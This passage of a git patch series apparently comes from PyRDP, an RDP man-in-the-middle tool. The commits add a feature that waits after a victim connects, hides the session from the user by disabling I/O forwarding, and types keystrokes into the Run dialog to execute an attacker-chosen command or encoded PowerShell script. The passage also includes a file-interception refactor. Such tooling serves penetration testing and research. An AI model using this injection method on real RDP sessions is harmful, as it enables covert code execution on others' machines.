ScanCodeTuple(0x34, False) # VK_OEM_PERIOD + OEM_2 = ScanCodeTuple(0x35, False) # VK_OEM_2 '/' on US + RSHIFT = ScanCodeTuple(0x36, False) # VK_RSHIFT + MULTIPLY = ScanCodeTuple(0x37, False) # VK_MULTIPLY Numerical + LMENU = ScanCodeTuple(0x38, False) # VK_LMENU Left 'Alt' key + SPACE = ScanCodeTuple(0x39, False) # VK_SPACE + CAPSLOCK = ScanCodeTuple(0x3A, False) # VK_CAPITAL 'Caps Lock', JP DBE_ALPHANUMERIC + F1 = ScanCodeTuple(0x3B, False) # VK_F1 + F2 = ScanCodeTuple(0x3C, False) # VK_F2 + F3 = ScanCodeTuple(0x3D, False) # VK_F3 + F4 = ScanCodeTuple(0x3E, False) # VK_F4 + F5 = ScanCodeTuple(0x3F, False) # VK_F5 + F6 = ScanCodeTuple(0x40, False) # VK_F6 + F7 = ScanCodeTuple(0x41, False) # VK_F7 + F8 = ScanCodeTuple(0x42, False) # VK_F8 + F9 = ScanCodeTuple(0x43, False) # VK_F9 + F10 = ScanCodeTuple(0x44, False) # VK_F10 + NUMLOCK = ScanCodeTuple(0x45, False) # VK_NUMLOCK Note: when this seems to appear in PKBDLLHOOKSTRUCT it means Pause which must be sent as Ctrl + NumLock + SCROLLLOCK = ScanCodeTuple(0x46, False) # VK_SCROLL 'Scroll Lock', JP OEM_SCROLL + NUMPAD7 = ScanCodeTuple(0x47, False) # VK_NUMPAD7 + NUMPAD8 = ScanCodeTuple(0x48, False) # VK_NUMPAD8 + NUMPAD9 = ScanCodeTuple(0x49, False) # VK_NUMPAD9 + SUBTRACT = ScanCodeTuple(0x4A, False) # VK_SUBTRACT + NUMPAD4 = ScanCodeTuple(0x4B, False) # VK_NUMPAD4 + NUMPAD5 = ScanCodeTuple(0x4C, False) # VK_NUMPAD5 + NUMPAD6 = ScanCodeTuple(0x4D, False) # VK_NUMPAD6 + ADD = ScanCodeTuple(0x4E, False) # VK_ADD + NUMPAD1 = ScanCodeTuple(0x4F, False) # VK_NUMPAD1 + NUMPAD2 = ScanCodeTuple(0x50, False) # VK_NUMPAD2 + NUMPAD3 = ScanCodeTuple(0x51, False) # VK_NUMPAD3 + NUMPAD0 = ScanCodeTuple(0x52, False) # VK_NUMPAD0 + DECIMAL = ScanCodeTuple(0x53, False) # VK_DECIMAL Numerical, '.' on US + SYSREQ = ScanCodeTuple(0x54, False) # Sys Req + OEM_102 = ScanCodeTuple(0x56, False) # VK_OEM_102 Lower left '\' on US + F11 = ScanCodeTuple(0x57, False) # VK_F11 + F12 = ScanCodeTuple(0x58, False) # VK_F12 + SLEEP = ScanCodeTuple(0x5F, False) # VK_SLEEP OEM_8 on FR (undocumented?) + ZOOM = ScanCodeTuple(0x62, False) # VK_ZOOM (undocumented?) + HELP = ScanCodeTuple(0x63, False) # VK_HELP (undocumented?) + F13 = ScanCodeTuple(0x64, False) # VK_F13 JP agree, should 0x7d according to ms894073 + F14 = ScanCodeTuple(0x65, False) # VK_F14 + F15 = ScanCodeTuple(0x66, False) # VK_F15 + F16 = ScanCodeTuple(0x67, False) # VK_F16 + F17 = ScanCodeTuple(0x68, False) # VK_F17 + F18 = ScanCodeTuple(0x69, False) # VK_F18 + F19 = ScanCodeTuple(0x6A, False) # VK_F19 + F20 = ScanCodeTuple(0x6B, False) # VK_F20 + F21 = ScanCodeTuple(0x6C, False) # VK_F21 + F22 = ScanCodeTuple(0x6D, False) # VK_F22 + F23 = ScanCodeTuple(0x6E, False) # VK_F23 JP agree + F24 = ScanCodeTuple(0x6F, False) # VK_F24 0x87 according to ms894073 + HIRAGANA = ScanCodeTuple(0x70, False) # JP DBE_HIRAGANA + HANJA_KANJI = ScanCodeTuple(0x71, False) # VK_HANJA / VK_KANJI (undocumented?) + KANA_HANGUL = ScanCodeTuple(0x72, False) # VK_KANA / VK_HANGUL (undocumented?) + ABNT_C1 = ScanCodeTuple(0x73, False) # VK_ABNT_C1 JP OEM_102 + F24_JP = ScanCodeTuple(0x76, False) # JP F24 + CONVERT_JP = ScanCodeTuple(0x79, False) # JP VK_CONVERT + NONCONVERT_JP = ScanCodeTuple(0x7B, False) # JP VK_NONCONVERT + TAB_JP = ScanCodeTuple(0x7C, False) # JP TAB + BACKSLASH_JP = ScanCodeTuple(0x7D, False) # JP OEM_5 ('\') + ABNT_C2 = ScanCodeTuple(0x7E, False) # VK_ABNT_C2, JP + HANJA = ScanCodeTuple(0x71, False) # KR VK_HANJA + HANGUL = ScanCodeTuple(0x72, False) # KR VK_HANGUL + RETURN_KP = ScanCodeTuple(0x1C, True) # not RETURN Numerical Enter + RCONTROL = ScanCodeTuple(0x1D, True) # VK_RCONTROL + DIVIDE = ScanCodeTuple(0x35, True) # VK_DIVIDE Numerical + PRINTSCREEN = ScanCodeTuple(0x37, True) # VK_EXECUTE/VK_PRINT/VK_SNAPSHOT Print Screen + RMENU = ScanCodeTuple(0x38, True) # VK_RMENU Right 'Alt' / 'Alt Gr' + PAUSE = ScanCodeTuple(0x46, True) # VK_PAUSE Pause / Break (Slightly special handling) + HOME = ScanCodeTuple(0x47, True) # VK_HOME + UP = ScanCodeTuple(0x48, True) # VK_UP + PRIOR = ScanCodeTuple(0x49, True) # VK_PRIOR 'Page Up' + LEFT = ScanCodeTuple(0x4B, True) # VK_LEFT + RIGHT = ScanCodeTuple(0x4D, True) # VK_RIGHT + END = ScanCodeTuple(0x4F, True) # VK_END + DOWN = ScanCodeTuple(0x50, True) # VK_DOWN + NEXT = ScanCodeTuple(0x51, True) # VK_NEXT 'Page Down' + INSERT = ScanCodeTuple(0x52, True) # VK_INSERT + DELETE = ScanCodeTuple(0x53, True) # VK_DELETE + NULL = ScanCodeTuple(0x54, True) # <00> + HELP2 = ScanCodeTuple(0x56, True) # Help - documented, different from VK_HELP + LWIN = ScanCodeTuple(0x5B, True) # VK_LWIN + RWIN = ScanCodeTuple(0x5C, True) # VK_RWIN + APPS = ScanCodeTuple(0x5D, True) # VK_APPS Application + POWER_JP = ScanCodeTuple(0x5E, True) # JP POWER + SLEEP_JP = ScanCodeTuple(0x5F, True) # JP SLEEP + NUMLOCK_EXTENDED = ScanCodeTuple(0x45, True) # should be NUMLOCK + RSHIFT_EXTENDED = ScanCodeTuple(0x36, True) # should be RSHIFT + VOLUME_MUTE = ScanCodeTuple(0x20, True) # VK_VOLUME_MUTE + VOLUME_DOWN = ScanCodeTuple(0x2E, True) # VK_VOLUME_DOWN + VOLUME_UP = ScanCodeTuple(0x30, True) # VK_VOLUME_UP + MEDIA_NEXT_TRACK = ScanCodeTuple(0x19, True) # VK_MEDIA_NEXT_TRACK + MEDIA_PREV_TRACK = ScanCodeTuple(0x10, True) # VK_MEDIA_PREV_TRACK + MEDIA_STOP = ScanCodeTuple(0x24, True) # VK_MEDIA_MEDIA_STOP + MEDIA_PLAY_PAUSE = ScanCodeTuple(0x22, True) # VK_MEDIA_MEDIA_PLAY_PAUSE + BROWSER_BACK = ScanCodeTuple(0x6A, True) # VK_BROWSER_BACK + BROWSER_FORWARD = ScanCodeTuple(0x69, True) # VK_BROWSER_FORWARD + BROWSER_REFRESH = ScanCodeTuple(0x67, True) # VK_BROWSER_REFRESH + BROWSER_STOP = ScanCodeTuple(0x68, True) # VK_BROWSER_STOP + BROWSER_SEARCH = ScanCodeTuple(0x65, True) # VK_BROWSER_SEARCH + BROWSER_FAVORITES = ScanCodeTuple(0x66, True) # VK_BROWSER_FAVORITES + BROWSER_HOME = ScanCodeTuple(0x32, True) # VK_BROWSER_HOME + LAUNCH_MAIL = ScanCodeTuple(0x6C, True) # VK_LAUNCH_MAIL \ No newline at end of file From 2816a79d4b396a86906b0e99c2ff622a2ce348cd Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Sun, 31 Mar 2019 11:28:53 -0400 Subject: [PATCH 049/113] Add missing break statement --- pyrdp/core/sequencer.py | 1 + 1 file changed, 1 insertion(+) diff --git a/pyrdp/core/sequencer.py b/pyrdp/core/sequencer.py index e01b6760e..44df6f2c4 100644 --- a/pyrdp/core/sequencer.py +++ b/pyrdp/core/sequencer.py @@ -32,6 +32,7 @@ def run(self): if wait is not None and wait > 0: self.wait(wait) + break @abstractmethod def wait(self, waitTime: int): From f4917af5cb2c9a2296141ea13e1e54db1aec3868 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Sun, 31 Mar 2019 11:33:39 -0400 Subject: [PATCH 050/113] Add scan code classes to __init__.py --- pyrdp/enum/__init__.py | 1 + 1 file changed, 1 insertion(+) diff --git a/pyrdp/enum/__init__.py b/pyrdp/enum/__init__.py index b0f803d7a..53e8b1ff5 100644 --- a/pyrdp/enum/__init__.py +++ b/pyrdp/enum/__init__.py @@ -10,6 +10,7 @@ from pyrdp.enum.negotiation import NegotiationRequestFlags, NegotiationType from pyrdp.enum.player import MouseButton, PlayerPDUType from pyrdp.enum.rdp import * +from pyrdp.enum.scancode import ScanCode, ScanCodeTuple from pyrdp.enum.segmentation import SegmentationPDUType from pyrdp.enum.virtual_channel.clipboard import ClipboardFormatName, ClipboardFormatNumber, ClipboardMessageFlags, \ ClipboardMessageType From 1ad5c0d59f36549c3eb4c374c0316c49d30322a8 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Sun, 31 Mar 2019 11:43:46 -0400 Subject: [PATCH 051/113] Add helper functions for sending keys and text --- pyrdp/mitm/AttackerMITM.py | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index 1a53553ab..4b590eafc 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -3,11 +3,9 @@ # Copyright (C) 2019 GoSecure Inc. # Licensed under the GPLv3 or later. # -from io import BytesIO from logging import LoggerAdapter -from pyrdp.core import Uint8 -from pyrdp.enum import FastPathInputType, FastPathOutputType, MouseButton, PlayerPDUType, PointerFlag +from pyrdp.enum import FastPathInputType, FastPathOutputType, MouseButton, PlayerPDUType, PointerFlag, ScanCodeTuple from pyrdp.layer import FastPathLayer, PlayerLayer from pyrdp.mitm.MITMRecorder import MITMRecorder from pyrdp.mitm.state import RDPMITMState @@ -70,6 +68,16 @@ def sendOutputEvents(self, events: [FastPathOutputEvent]): pdu = FastPathPDU(0, events) self.client.sendPDU(pdu) + def sendKeys(self, keys: [ScanCodeTuple]): + for released in [False, True]: + for key in keys: + self.handleKeyboard(PlayerKeyboardPDU(0, key.code, released, key.extended)) + + def sendText(self, text: str): + for c in text: + for released in [False, True]: + self.handleText(PlayerTextPDU(0, c, released)) + def handleMouseMove(self, pdu: PlayerMouseMovePDU): eventHeader = FastPathInputType.FASTPATH_INPUT_EVENT_MOUSE << 5 @@ -122,7 +130,6 @@ def handleKeyboard(self, pdu: PlayerKeyboardPDU): event = FastPathScanCodeEvent(2 if pdu.extended else 0, pdu.code, pdu.released) self.sendInputEvents([event]) - def handleText(self, pdu: PlayerTextPDU): event = FastPathUnicodeEvent(pdu.character, pdu.released) self.sendInputEvents([event]) From b99e853998f51b3d8be346037fc2e17a1fd98d71 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Sun, 31 Mar 2019 12:23:47 -0400 Subject: [PATCH 052/113] Add options for sending payloads automatically upon connection --- bin/pyrdp-mitm.py | 24 ++++++++++++++++++++++++ pyrdp/mitm/config.py | 6 ++++++ pyrdp/mitm/mitm.py | 38 +++++++++++++++++++++++++++++++++++--- 3 files changed, 65 insertions(+), 3 deletions(-) diff --git a/bin/pyrdp-mitm.py b/bin/pyrdp-mitm.py index 67dd39633..ca4f72bd7 100755 --- a/bin/pyrdp-mitm.py +++ b/bin/pyrdp-mitm.py @@ -158,6 +158,8 @@ def main(): parser.add_argument("-L", "--log-level", help="Console logging level. Logs saved to file are always verbose.", default="INFO", choices=["INFO", "DEBUG", "WARNING", "ERROR", "CRITICAL"]) parser.add_argument("-F", "--log-filter", help="Only show logs from this logger name (accepts '*' wildcards)", default="") parser.add_argument("-s", "--sensor-id", help="Sensor ID (to differentiate multiple instances of the MITM where logs are aggregated at one place)", default="PyRDP") + parser.add_argument("--payload", help="Command to run automatically upon connection", default=None) + parser.add_argument("--payload-delay", help="Time to wait after a new connection before sending the payload, in milliseconds", default=None) parser.add_argument("--no-replay", help="Disable replay recording", action="store_true") args = parser.parse_args() @@ -201,6 +203,28 @@ def main(): config.outDir = outDir config.recordReplays = not args.no_replay + + if args.payload is not None: + if args.payload_delay is None: + pyrdpLogger.error("--payload-delay must be provided if --payload is provided") + sys.exit(1) + + try: + config.payloadDelay = int(args.payload_delay) + except ValueError: + pyrdpLogger.error("Invalid payload delay. Payload delay must be an integral number of milliseconds.") + sys.exit(1) + + if config.payloadDelay < 0: + pyrdpLogger.error("Payload delay must not be negative.") + sys.exit(1) + + if config.payloadDelay < 1000: + pyrdpLogger.warning("You have provided a payload delay of less than 1 second. We recommend you use a slightly longer delay to make sure it runs properly.") + + config.payload = args.payload + + try: # Check if OpenSSL accepts the private key and certificate. ServerTLSContext(config.privateKeyFileName, config.certificateFileName) diff --git a/pyrdp/mitm/config.py b/pyrdp/mitm/config.py index c356a9986..93c5cf075 100644 --- a/pyrdp/mitm/config.py +++ b/pyrdp/mitm/config.py @@ -44,6 +44,12 @@ def __init__(self): self.recordReplays: bool = True """Whether replays should be recorded or not""" + self.payload: str = "" + """Payload to send automatically upon connection""" + + self.payloadDelay: int = None + """Delay before sending payload automatically, in milliseconds""" + @property def replayDir(self) -> Path: """ diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index 674b31150..beab55f2d 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -10,9 +10,9 @@ from twisted.internet import reactor from twisted.internet.protocol import Protocol -from pyrdp.core import AwaitableClientFactory +from pyrdp.core import AsyncIOSequencer, AwaitableClientFactory from pyrdp.core.ssl import ClientTLSContext, ServerTLSContext -from pyrdp.enum import MCSChannelName, ParserMode, PlayerPDUType, SegmentationPDUType +from pyrdp.enum import MCSChannelName, ParserMode, PlayerPDUType, ScanCode, SegmentationPDUType from pyrdp.layer import ClipboardLayer, DeviceRedirectionLayer, LayerChainItem, RawLayer, VirtualChannelLayer from pyrdp.logging import RC4LoggingObserver from pyrdp.logging.adapters import SessionLogger @@ -243,6 +243,8 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): self.client.segmentation.attachLayer(SegmentationPDUType.FAST_PATH, self.client.fastPath) self.server.segmentation.attachLayer(SegmentationPDUType.FAST_PATH, self.server.fastPath) + self.sendPayload() + def buildClipboardChannel(self, client: MCSServerChannel, server: MCSClientChannel): """ Build the MITM component for the clipboard channel. @@ -305,4 +307,34 @@ def buildVirtualChannel(self, client: MCSServerChannel, server: MCSClientChannel LayerChainItem.chain(server, serverSecurity, serverLayer) mitm = VirtualChannelMITM(clientLayer, serverLayer) - self.channelMITMs[client.channelID] = mitm \ No newline at end of file + self.channelMITMs[client.channelID] = mitm + + def sendPayload(self): + if len(self.config.payload) == 0: + return + + if self.config.payloadDelay is None: + self.log.error("Payload was set but no delay is configured. Payload will not be sent.") + return + + def waitForDelay() -> int: + return self.config.payloadDelay + + def openRunWindow() -> int: + self.attacker.sendKeys([ScanCode.LWIN, ScanCode.KEY_R]) + return 50 + + def sendCMD() -> int: + self.attacker.sendText("cmd") + return 50 + + def sendEnterKey() -> int: + self.attacker.sendKeys([ScanCode.RETURN]) + return 50 + + def sendPayload() -> int: + self.attacker.sendText(self.config.payload + " & exit") + return 50 + + sequencer = AsyncIOSequencer([waitForDelay, openRunWindow, sendCMD, sendEnterKey, sendPayload, sendEnterKey]) + sequencer.run() \ No newline at end of file From a24d51276cb6a66bbf9144e76a21ee3eaeeef48b Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Sun, 31 Mar 2019 12:46:02 -0400 Subject: [PATCH 053/113] Add options for running PowerShell payloads --- bin/pyrdp-mitm.py | 39 +++++++++++++++++++++++++++++++++++++-- 1 file changed, 37 insertions(+), 2 deletions(-) diff --git a/bin/pyrdp-mitm.py b/bin/pyrdp-mitm.py index ca4f72bd7..37d588ce2 100755 --- a/bin/pyrdp-mitm.py +++ b/bin/pyrdp-mitm.py @@ -7,6 +7,7 @@ # import asyncio +from base64 import b64encode import OpenSSL from twisted.internet import asyncioreactor @@ -159,6 +160,8 @@ def main(): parser.add_argument("-F", "--log-filter", help="Only show logs from this logger name (accepts '*' wildcards)", default="") parser.add_argument("-s", "--sensor-id", help="Sensor ID (to differentiate multiple instances of the MITM where logs are aggregated at one place)", default="PyRDP") parser.add_argument("--payload", help="Command to run automatically upon connection", default=None) + parser.add_argument("--payload-powershell", help="PowerShell command to run automatically upon connection", default=None) + parser.add_argument("--payload-powershell-file", help="PowerShell script to run automatically upon connection (as -EncodedCommand)", default=None) parser.add_argument("--payload-delay", help="Time to wait after a new connection before sending the payload, in milliseconds", default=None) parser.add_argument("--no-replay", help="Disable replay recording", action="store_true") @@ -204,9 +207,39 @@ def main(): config.recordReplays = not args.no_replay + payload = None + powershell = None + + if int(args.payload is not None) + int(args.payload_powershell is not None) + int(args.payload_powershell_file is not None) > 1: + pyrdpLogger.error("Only one of --payload, --payload-powershell and --payload-powershell-file may be supplied.") + sys.exit(1) + if args.payload is not None: + payload = args.payload + pyrdpLogger.info("Using payload: %(payload)s", {"payload": args.payload}) + elif args.payload_powershell is not None: + powershell = args.payload_powershell + pyrdpLogger.info("Using powershell payload: %(payload)s", {"payload": args.payload_powershell}) + elif args.payload_powershell_file is not None: + if not os.path.exists(args.payload_powershell_file): + pyrdpLogger.error("Powershell file %(path)s does not exist.", {"path": args.payload_powershell_file}) + sys.exit(1) + + try: + with open(args.payload_powershell_file, "r") as f: + powershell = f.read() + except IOError as e: + pyrdpLogger.error("Error when trying to read powershell file: %(error)s", {"error": e}) + sys.exit(1) + + pyrdpLogger.info("Using payload from powershell file: %(path)s", {"path": args.payload_powershell_file}) + + if powershell is not None: + payload = "powershell -EncodedCommand " + b64encode(powershell.encode("utf-16le")).decode() + + if payload is not None: if args.payload_delay is None: - pyrdpLogger.error("--payload-delay must be provided if --payload is provided") + pyrdpLogger.error("--payload-delay must be provided if a payload is provided.") sys.exit(1) try: @@ -222,7 +255,9 @@ def main(): if config.payloadDelay < 1000: pyrdpLogger.warning("You have provided a payload delay of less than 1 second. We recommend you use a slightly longer delay to make sure it runs properly.") - config.payload = args.payload + config.payload = payload + elif args.payload_delay is not None: + pyrdpLogger.error("--payload-delay was provided but no payload was set.") try: From 45d1de573a0503d9b64f248ac99475e2d41572d8 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Sun, 31 Mar 2019 12:54:33 -0400 Subject: [PATCH 054/113] Enable I/O forwarding if attacker disconnects. --- pyrdp/mitm/TCPMITM.py | 6 +++++- pyrdp/mitm/mitm.py | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/pyrdp/mitm/TCPMITM.py b/pyrdp/mitm/TCPMITM.py index c2b90fdcd..e5580429f 100644 --- a/pyrdp/mitm/TCPMITM.py +++ b/pyrdp/mitm/TCPMITM.py @@ -9,6 +9,7 @@ from pyrdp.enum import PlayerPDUType from pyrdp.layer import TwistedTCPLayer +from pyrdp.mitm.state import RDPMITMState from pyrdp.recording import Recorder @@ -17,7 +18,7 @@ class TCPMITM: MITM component for the TCP layer. """ - def __init__(self, client: TwistedTCPLayer, server: TwistedTCPLayer, attacker: TwistedTCPLayer, log: LoggerAdapter, recorder: Recorder, serverConnector: Coroutine): + def __init__(self, client: TwistedTCPLayer, server: TwistedTCPLayer, attacker: TwistedTCPLayer, log: LoggerAdapter, state: RDPMITMState, recorder: Recorder, serverConnector: Coroutine): """ :param client: TCP layer for the client side :param server: TCP layer for the server side @@ -31,6 +32,7 @@ def __init__(self, client: TwistedTCPLayer, server: TwistedTCPLayer, attacker: T self.server = server self.attacker = attacker self.log = log + self.state = state self.recorder = recorder self.serverConnector = serverConnector @@ -109,4 +111,6 @@ def onAttackerDisconnection(self, reason): """ Log the disconnection from the attacker side. """ + self.state.forwardInput = True + self.state.forwardOutput = True self.log.info("Attacker connection closed. %(reason)s", {"reason": reason.value}) \ No newline at end of file diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index beab55f2d..4b7213c25 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -84,7 +84,7 @@ def __init__(self, log: SessionLogger, config: MITMConfig): """MITM components for virtual channels""" serverConnector = self.connectToServer() - self.tcp = TCPMITM(self.client.tcp, self.server.tcp, self.player.tcp, self.getLog("tcp"), self.recorder, serverConnector) + self.tcp = TCPMITM(self.client.tcp, self.server.tcp, self.player.tcp, self.getLog("tcp"), self.state, self.recorder, serverConnector) """TCP MITM component""" self.x224 = X224MITM(self.client.x224, self.server.x224, self.getLog("x224"), self.state, serverConnector, self.startTLS) From 48c5a1dd357bda367affdcfad5cd893274e7d1c8 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Sun, 31 Mar 2019 12:56:42 -0400 Subject: [PATCH 055/113] Add missing sys.exit call --- bin/pyrdp-mitm.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bin/pyrdp-mitm.py b/bin/pyrdp-mitm.py index 37d588ce2..a91144e3d 100755 --- a/bin/pyrdp-mitm.py +++ b/bin/pyrdp-mitm.py @@ -258,6 +258,7 @@ def main(): config.payload = payload elif args.payload_delay is not None: pyrdpLogger.error("--payload-delay was provided but no payload was set.") + sys.exit(1) try: From 9af14400f0c0aec113f645337a8cf75dd615a440 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Sun, 31 Mar 2019 13:22:16 -0400 Subject: [PATCH 056/113] Disable I/O forwarding while payload runs --- bin/pyrdp-mitm.py | 18 ++++++++++++++++++ pyrdp/mitm/config.py | 3 +++ pyrdp/mitm/mitm.py | 28 +++++++++++++++++++++++++++- 3 files changed, 48 insertions(+), 1 deletion(-) diff --git a/bin/pyrdp-mitm.py b/bin/pyrdp-mitm.py index a91144e3d..1c7d43102 100755 --- a/bin/pyrdp-mitm.py +++ b/bin/pyrdp-mitm.py @@ -163,6 +163,7 @@ def main(): parser.add_argument("--payload-powershell", help="PowerShell command to run automatically upon connection", default=None) parser.add_argument("--payload-powershell-file", help="PowerShell script to run automatically upon connection (as -EncodedCommand)", default=None) parser.add_argument("--payload-delay", help="Time to wait after a new connection before sending the payload, in milliseconds", default=None) + parser.add_argument("--payload-duration", help="Amount of time the payload should take to complete, in milliseconds", default=None) parser.add_argument("--no-replay", help="Disable replay recording", action="store_true") args = parser.parse_args() @@ -242,6 +243,11 @@ def main(): pyrdpLogger.error("--payload-delay must be provided if a payload is provided.") sys.exit(1) + if args.payload_duration is None: + pyrdpLogger.error("--payload-duration must be provided if a payload is provided.") + sys.exit(1) + + try: config.payloadDelay = int(args.payload_delay) except ValueError: @@ -255,6 +261,18 @@ def main(): if config.payloadDelay < 1000: pyrdpLogger.warning("You have provided a payload delay of less than 1 second. We recommend you use a slightly longer delay to make sure it runs properly.") + + try: + config.payloadDuration = int(args.payload_duration) + except ValueError: + pyrdpLogger.error("Invalid payload duration. Payload duration must be an integral number of milliseconds.") + sys.exit(1) + + if config.payloadDuration < 0: + pyrdpLogger.error("Payload duration must not be negative.") + sys.exit(1) + + config.payload = payload elif args.payload_delay is not None: pyrdpLogger.error("--payload-delay was provided but no payload was set.") diff --git a/pyrdp/mitm/config.py b/pyrdp/mitm/config.py index 93c5cf075..dcb7de314 100644 --- a/pyrdp/mitm/config.py +++ b/pyrdp/mitm/config.py @@ -50,6 +50,9 @@ def __init__(self): self.payloadDelay: int = None """Delay before sending payload automatically, in milliseconds""" + self.payloadDuration: int = None + """Amount of time the payload should take to complete, in milliseconds""" + @property def replayDir(self) -> Path: """ diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index 4b7213c25..5490983ff 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -317,9 +317,18 @@ def sendPayload(self): self.log.error("Payload was set but no delay is configured. Payload will not be sent.") return + if self.config.payloadDuration is None: + self.log.error("Payload was set but no duration is configured. Payload will not be sent.") + return + def waitForDelay() -> int: return self.config.payloadDelay + def disableForwarding() -> int: + self.state.forwardInput = False + self.state.forwardOutput = False + return 50 + def openRunWindow() -> int: self.attacker.sendKeys([ScanCode.LWIN, ScanCode.KEY_R]) return 50 @@ -336,5 +345,22 @@ def sendPayload() -> int: self.attacker.sendText(self.config.payload + " & exit") return 50 - sequencer = AsyncIOSequencer([waitForDelay, openRunWindow, sendCMD, sendEnterKey, sendPayload, sendEnterKey]) + def waitForPayload() -> int: + return self.config.payloadDuration + + def enableForwarding(): + self.state.forwardInput = True + self.state.forwardOutput = True + + sequencer = AsyncIOSequencer([ + waitForDelay, + disableForwarding, + openRunWindow, + sendCMD, + sendEnterKey, + sendPayload, + sendEnterKey, + waitForPayload, + enableForwarding + ]) sequencer.run() \ No newline at end of file From ff1427b80b79c81b5e9918ac777ab97a512a6cce Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Mon, 8 Apr 2019 13:48:08 -0400 Subject: [PATCH 057/113] Refactor DeviceRedirectionMITM's helper classes --- pyrdp/core/FileProxy.py | 57 +++++++ pyrdp/core/__init__.py | 1 + pyrdp/mitm/DeviceRedirectionMITM.py | 222 ++++++++-------------------- pyrdp/mitm/FileMapping.py | 80 ++++++++++ 4 files changed, 197 insertions(+), 163 deletions(-) create mode 100644 pyrdp/core/FileProxy.py create mode 100644 pyrdp/mitm/FileMapping.py diff --git a/pyrdp/core/FileProxy.py b/pyrdp/core/FileProxy.py new file mode 100644 index 000000000..0152bfaa8 --- /dev/null +++ b/pyrdp/core/FileProxy.py @@ -0,0 +1,57 @@ +from pathlib import Path +from typing import BinaryIO + +from pyrdp.core.observer import Observer +from pyrdp.core.subject import ObservedBy, Subject + + +class FileProxyObserver(Observer): + def onFileCreated(self, fileProxy: 'FileProxy'): + pass + + def onFileClosed(self, fileProxy: 'FileProxy'): + pass + + +@ObservedBy(FileProxyObserver) +class FileProxy(Subject): + """ + Proxy object that waits until a file is accessed before creating it. + """ + + def __init__(self, path: Path, mode: str): + """ + :param path: path of the file + :param mode: file opening mode + """ + super().__init__() + + self.path = path + self.mode = mode + self.file: BinaryIO = None + + def createFile(self): + """ + Create the file and overwrite this object's methods with the file object's methods. + """ + + if self.file is None: + self.file = open(str(self.path), self.mode) + self.write = self.file.write + self.seek = self.file.seek + self.close = self.file.close + + self.observer.onFileCreated(self) + + def write(self, *args, **kwargs): + self.createFile() + self.file.write(*args, **kwargs) + + def seek(self, *args, **kwargs): + self.createFile() + self.file.seek(*args, **kwargs) + + def close(self): + if self.file is not None: + self.file.close() + self.observer.onFileClosed(self) \ No newline at end of file diff --git a/pyrdp/core/__init__.py b/pyrdp/core/__init__.py index aa1a48d4d..034809176 100644 --- a/pyrdp/core/__init__.py +++ b/pyrdp/core/__init__.py @@ -6,6 +6,7 @@ from pyrdp.core.defer import defer from pyrdp.core.event import EventEngine +from pyrdp.core.FileProxy import FileProxy, FileProxyObserver from pyrdp.core.helpers import decodeUTF16LE, encodeUTF16LE from pyrdp.core.observer import CompositeObserver, Observer from pyrdp.core.packing import Int16BE, Int16LE, Int32BE, Int32LE, Int8, Uint16BE, Uint16LE, Uint32BE, Uint32LE, \ diff --git a/pyrdp/mitm/DeviceRedirectionMITM.py b/pyrdp/mitm/DeviceRedirectionMITM.py index cf9533d84..30b4f3908 100644 --- a/pyrdp/mitm/DeviceRedirectionMITM.py +++ b/pyrdp/mitm/DeviceRedirectionMITM.py @@ -4,145 +4,29 @@ # Licensed under the GPLv3 or later. # -import datetime import hashlib import json from logging import LoggerAdapter from pathlib import Path -from typing import BinaryIO, Dict +from typing import Dict -import names - -from pyrdp.core import decodeUTF16LE +from pyrdp.core import decodeUTF16LE, FileProxy from pyrdp.enum import CreateOption, DeviceType, FileAccess, IOOperationSeverity from pyrdp.layer import DeviceRedirectionLayer from pyrdp.mitm.config import MITMConfig +from pyrdp.mitm.FileMapping import FileMapping, FileMappingDecoder, FileMappingEncoder from pyrdp.parser import DeviceRedirectionParser -from pyrdp.pdu import DeviceCloseRequestPDU, DeviceCreateRequestPDU, \ - DeviceIORequestPDU, DeviceIOResponsePDU, DeviceListAnnounceRequest, DeviceReadRequestPDU, DeviceRedirectionPDU - - -class FileMapping: - """ - Class containing information for a file intercepted by the DeviceRedirectionMITM. - """ - - def __init__(self, remotePath: Path, localPath: Path, creationTime: datetime.datetime, fileHash: str): - """ - :param remotePath: the path of the file on the original machine - :param localPath: the path of the file on the intercepting machine - :param creationTime: the creation time of the local file - :param fileHash: the file hash in hex format (empty string if the file is not complete) - """ - self.remotePath = remotePath - self.localPath = localPath - self.creationTime = creationTime - self.hash: str = fileHash - - @staticmethod - def generate(remotePath: Path, outDir: Path): - localName = f"{names.get_first_name()}{names.get_last_name()}" - creationTime = datetime.datetime.now() - - index = 2 - suffix = "" - - while True: - if not (outDir / f"{localName}{suffix}").exists(): - break - else: - suffix = f"_{index}" - index += 1 - - localName += suffix - - return FileMapping(remotePath, outDir / localName, creationTime, "") - - -class FileMappingEncoder(json.JSONEncoder): - """ - JSON encoder for FileMapping objects. - """ - - def default(self, o): - if isinstance(o, datetime.datetime): - return o.isoformat() - elif not isinstance(o, FileMapping): - return super().default(o) - - return { - "remotePath": str(o.remotePath), - "localPath": str(o.localPath), - "creationTime": o.creationTime, - "sha1": o.hash - } - - -class FileMappingDecoder(json.JSONDecoder): - """ - JSON decoder for FileMapping objects. - """ - - def __init__(self): - 